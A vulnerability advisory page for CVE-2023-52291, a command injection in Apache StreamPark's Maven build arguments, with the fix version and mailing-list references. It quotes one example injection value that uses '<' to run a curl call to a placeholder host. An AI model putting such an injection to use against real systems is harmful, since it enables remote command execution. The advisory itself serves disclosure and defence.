CVE-2023-52291

In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Background: In the "Project" module, the maven build args  “<” operator causes command injection. e.g : “< (curl  http://xxx.com )” will be executed as a command injection, Mitigation: all users should upgrade to 2.1.4,  The "<" operator will blocked。

• CWE-77

• http://www.openwall.com/lists/oss-security/2024/07/17/1Mailing List
• https://lists.apache.org/thread/pl6xgzoqrl4kcn0nt55zjbsx8dn80mkfMailing List
• http://www.openwall.com/lists/oss-security/2024/07/17/1Mailing List
• https://lists.apache.org/thread/pl6xgzoqrl4kcn0nt55zjbsx8dn80mkfMailing List

Published

Jul 17, 2024

Last Modified

Jun 17, 2026

Status

Modified

• How Strix found a critical auth bypass in etcdStrix autonomously discovered a critical authentication bypass in etcd, later designated CVE-2026-33413.
• Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
• PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
• AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.

• CVE-2023-52285ExamSys 9150244 allows SQL Injection via the /Support/action…7.5
• CVE-2023-52286Tencent tdsqlpcloud through 1.8.5 allows unauthenticated rem…7.5
• CVE-2023-52288An issue was discovered in the flaskcode package through 0.0…7.5
• CVE-2023-52289An issue was discovered in the flaskcode package through 0.0…7.5
• CVE-2023-5229The E2Pdf WordPress plugin before 1.20.20 does not sanitize …4.8
• CVE-2023-52290In streampark-console the list pages(e.g: application pages)…8.1
• CVE-2023-52292IBM Sterling File Gateway 6.0.0.0 through 6.1.2.5 and 6.2.0.…5.4
• CVE-2023-52296IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Se…5.3
• CVE-2023-5230The TM WooCommerce Compare & Wishlist plugin for WordPress i…5.4
• CVE-2023-52302Nullptr in paddle.nextafter in PaddlePaddle before 2.6.0. Th…7.5
• CVE-2023-52303Nullptr in paddle.put_along_axis in PaddlePaddle before 2.6.…7.5
• CVE-2023-52304Stack overflow in paddle.searchsorted in PaddlePaddle before…9.8